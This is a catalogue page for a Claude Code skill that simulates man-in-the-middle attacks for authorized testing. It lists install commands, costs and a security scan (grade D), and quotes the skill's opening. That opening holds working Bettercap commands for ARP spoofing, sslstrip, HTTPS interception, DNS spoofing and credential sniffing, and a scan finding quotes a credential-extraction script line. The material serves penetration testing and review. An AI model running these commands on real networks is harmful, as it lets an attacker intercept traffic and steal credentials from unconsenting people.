conducting-man-in-the-middle-attack-simulation

conducting-man-in-the-middle-attack-simulation is a skill for Claude Code from 26zl/cybersec-toolkit. It costs 53 tokens per session (2,937 once invoked), scanned D, original, MIT.

An authorized exercise that imitates a man-in-the-middle attack, where someone secretly intercepts or changes traffic between two systems, using tools such as mitmproxy, Ettercap, and Bettercap.

In plain words
What is it for?
Use it to test TLS certificate checks, certificate pinning, HSTS, cleartext protocols, network alerts, and incident-response training in an isolated or approved environment.
Why use it?
It reveals whether apps encrypt traffic, validate security certificates, resist traffic interception, and detect network spoofing.

Skill for Claude Code

Written for Claude Code: installed under .claude/.

Part of the cybersec-toolkit plugin — 197 skills, 2 hooks, 1 MCP server shipped together

Good fit Use it to test TLS certificate checks, certificate pinning, HSTS, cleartext protocols, network alerts, and incident-response training in an isolated or approved environment.

Compare 6 skills from other repositories ↓
Install with agentmods
npx agentmods add skills/26zl/cybersec-toolkit/conducting-man-in-the-middle-attack-simulation
Install

Getting it into your agent

One page per mod, every tool's command on it. A separate URL per tool would split the same page into five that compete with each other.

Any agent
npx skills add 26zl/cybersec-toolkit --skill conducting-man-in-the-middle-attack-simulation
Clone the repo
git clone --depth 1 https://github.com/26zl/cybersec-toolkit

Made for: Claude Code.

Or install cybersec-toolkit, the plugin that ships this one along with the rest of its 197 skills, 2 hooks, 1 MCP server.

Wrote this? Show the measurements

A badge with what this costs and how it scanned, read live from this page, so it follows the numbers instead of freezing them. Markdown for a README, HTML for a documentation site or a project page.

agentmods badge for conducting-man-in-the-middle-attack-simulation

README.md
[![agentmods](https://agentmods.dev/badge/skills/26zl/cybersec-toolkit/conducting-man-in-the-middle-attack-simulation/github.svg)](https://agentmods.dev/skills/26zl/cybersec-toolkit/conducting-man-in-the-middle-attack-simulation)
Your own site
<a href="https://agentmods.dev/skills/26zl/cybersec-toolkit/conducting-man-in-the-middle-attack-simulation"><img src="https://agentmods.dev/badge/skills/26zl/cybersec-toolkit/conducting-man-in-the-middle-attack-simulation/github.svg" alt="Measured on agentmods" height="20"></a>

Or the 80×15 button, for a site that already has a row of RSS and ATOM ones. Only the verdict fits; the numbers stay here.

agentmods 80×15 button for conducting-man-in-the-middle-attack-simulation

Your own site · 80×15
<a href="https://agentmods.dev/skills/26zl/cybersec-toolkit/conducting-man-in-the-middle-attack-simulation"><img src="https://agentmods.dev/badge/skills/26zl/cybersec-toolkit/conducting-man-in-the-middle-attack-simulation.svg" alt="Reviewed on agentmods" width="80" height="20"></a>
Per session 53 Skills are progressive disclosure: only the name and description are preloaded; the body loads when the skill is used.
When invoked 2,937 The whole file, excluding the scripts and references it only reads on demand.
Security scan D 3 findings. A grade says what 26 rules found in the file — not that it is safe.
Origin original No closer match found in the catalogue.
Token cost

What it costs to keep this loaded

Counted locally with the o200k_base tokenizer, which is exact for GPT models; Claude uses its own tokenizer and its counts differ. Treat this as one consistent yardstick across the catalogue rather than a bill. Prices are per million input tokens.

ModelPer sessionOnce invoked
Fable 5.1 $0.00053 $0.02937
Opus 5 $0.00026 $0.01469
Sonnet 5 $0.00011 $0.00587
Haiku 4.5 $0.00005 $0.00294

Measured 9d ago against content hash e15514bfe8bc, method: parsed. Prices are Anthropic first-party input rates as of 2026-09-12, from the pricing page.

Security

Grade D, and why

conducting-man-in-the-middle-attack-simulation scanned grade D with 3 findings against 26 rules in 11 categories — prompt injection, anti-refusal, data exfiltration, privilege escalation, supply chain, agent snooping, system-prompt leakage, SSRF and excessive agency — measured 9d ago.

The scan reads SKILL.md. This mod also ships 1 executable file (scripts/agent.py), listed below but not scanned — reading those needs a real analyzer, not pattern matching.

A static scan of the body, not an audit. Every finding is printed with the line that produced it so you can judge whether it matters here. A mod is markdown that instructs an agent; that is exactly why what it instructs is worth reading.

Harvests environment variableshighData exfiltration

Enumerating or grepping the environment for keys collects credentials unrelated to what the mod says it does.

"""mitmproxy script to extract credentials from intercepted traffic."""

Asks for rootmediumPrivilege escalation

A mod that escalates privileges can change anything on the machine, not only the project.

sudo sysctl -w net.ipv4.ip_forward=1

Makes network callslowCapability

Not a fault in itself. Listed so you know the mod talks to something, and to what.

curl -v -k -L http://example.com 2>&1 | grep -i "strict-transport-security"
Origin

Copies of this mod

1 near-identical copy found in the catalogue:

.claude/skills/conducting-man-in-the-middle-attack-simulation/SKILL.md · 296 lines

How it starts

The opening of the file, as written. The whole thing — 296 lines — stays where its author put it; the contents beside it link to each section on GitHub.

Conducting Man-in-the-Middle Attack Simulation

When to Use

  • Testing whether applications properly validate TLS certificates and enforce encrypted communications
  • Demonstrating the risk of cleartext protocols (HTTP, FTP, Telnet, SMTP) to organization stakeholders
  • Validating that HSTS, certificate pinning, and other anti-MITM controls are correctly implemented
  • Assessing network detection capabilities for ARP spoofing, DHCP spoofing, and DNS spoofing attacks
  • Training incident response teams to identify and respond to MITM attack indicators

Do not use on production networks without explicit written authorization and a rollback plan, against systems you do not own or have permission to test, or for intercepting communications of uninvolved third parties.

Prerequisites

  • Written authorization specifying in-scope targets and approved MITM techniques
  • Bettercap 2.x, Ettercap, and mitmproxy installed on the attacker machine
  • Layer 2 access to the same network segment as target hosts
  • Custom CA certificate for TLS interception testing (generated specifically for the engagement)
  • Wireshark or tshark for capturing and verifying intercepted traffic
  • Isolated lab environment or approved production test window with rollback procedures

Workflow

Step 1: Set Up the Attack Environment

# Enable IP forwarding
sudo sysctl -w net.ipv4.ip_forward=1
sudo sysctl -w net.ipv6.conf.all.forwarding=1

# Disable ICMP redirects
sudo sysctl -w net.ipv4.conf.all.send_redirects=0

# Generate a CA certificate for TLS interception
openssl genrsa -out mitm-ca.key 4096
openssl req -new -x509 -days 30 -key mitm-ca.key -out mitm-ca.crt \
  -subj "/CN=MITM Test CA/O=Security Assessment/C=US"

# Discover hosts on the target network
sudo bettercap -iface eth0 -eval "net.probe on; sleep 10; net.show; quit"

Step 2: Execute ARP-Based MITM with Bettercap

# Start Bettercap with interactive mode
sudo bettercap -iface eth0

# Enable network probing to discover hosts
> net.probe on

# Display discovered hosts
> net.show

# Set target (victim: 192.168.1.50, gateway: 192.168.1.1)
> set arp.spoof.targets 192.168.1.50
> set arp.spoof.fullduplex true

# Start ARP spoofing
> arp.spoof on

# Enable HTTP proxy for traffic inspection
> set http.proxy.sslstrip true
> http.proxy on

# Enable HTTPS proxy with certificate interception
> set https.proxy.certificate mitm-ca.crt
> set https.proxy.key mitm-ca.key
> https.proxy on

# Enable DNS spoofing for specific domains
> set dns.spoof.domains example.com,*.example.com
> set dns.spoof.address 192.168.1.99
> dns.spoof on

# Enable credential sniffer
> set net.sniff.verbose true
> set net.sniff.filter "tcp port 80 or tcp port 21 or tcp port 110"
> net.sniff on

Read the full file on GitHub · 296 lines

Files

What ships with it

3 files beside SKILL.md in the same directory: the scripts, references and assets a skill reads on demand. Not counted in the per-session cost; read them before you install if any of them is executable.

Changes

What this file has done since we first saw it

Hashed on every crawl. A supply-chain change to an agent config is a question of when, not whether, so the history is kept rather than the latest state alone.

  1. 9d ago First seen · 296 lines · 53 tokens per session scan D e15514bfe8bc

Subscribe to this mod's changes

conducting-man-in-the-middle-attack-simulation is a skill published in the GitHub repository 26zl/cybersec-toolkit (54 stars, last pushed yesterday), licensed MIT. It adds 53 tokens to every session and 2,937 once invoked, about $0.0003 per session on Opus 5. A static security scan graded it D with 3 findings (harvests environment variables, asks for root, makes network calls). No closer match exists in the catalogue, so it is treated as the original; first seen 2026-09-03.

Related

Other skills, from other repositories

conducting-man-in-the-middle-attack-simulation

Simulates man-in-the-middle attacks using Ettercap, mitmproxy, and Bettercap in authorized environments to intercept, analyze, and modify network traffic for testing encryption enforcement, certificate validation, and detection capabilities.

Youngmaidainon/Agent-Level-Up · 53 tokens

conducting-man-in-the-middle-attack-simulation

Simulates man-in-the-middle attacks using Ettercap, mitmproxy, and Bettercap in authorized environments to intercept, analyze, and modify network traffic for testing encryption enforcement, certificate validation, and detection capabilities.

RobotFlow-Labs/skills-repo · 53 tokens

implementing-network-deception-with-honeypots

Deploy and manage network honeypots using OpenCanary, T-Pot, or Cowrie to detect unauthorized access, lateral movement, and attacker reconnaissance.

xalgorix/xalgorix · 42 tokens

configuring-tls-1-3-for-secure-communications

TLS 1.3 (RFC 8446) is the latest version of the Transport Layer Security protocol, providing significant improvements over TLS 1.2 in both security and performance. It reduces handshake latency to 1-R.

xalgorix/xalgorix · 59 tokens

implementing-gcp-vpc-firewall-rules

Implementing and auditing GCP VPC firewall rules to enforce network segmentation, restrict ingress and egress traffic, apply hierarchical firewall policies across the organization, and monitor firewall rule effectiveness using VPC Flow Logs.

xalgorix/xalgorix · 52 tokens

performing-arp-spoofing-in-lab

Perform ARP spoofing and man-in-the-middle (MITM) attacks within isolated LAN environments using arpspoof and ettercap to intercept traffic between two hosts. Covers ARP cache poisoning, traffic forwarding, and credential sniffing in a controlled Docker lab network.

withcrux/agentHack-skills · 66 tokens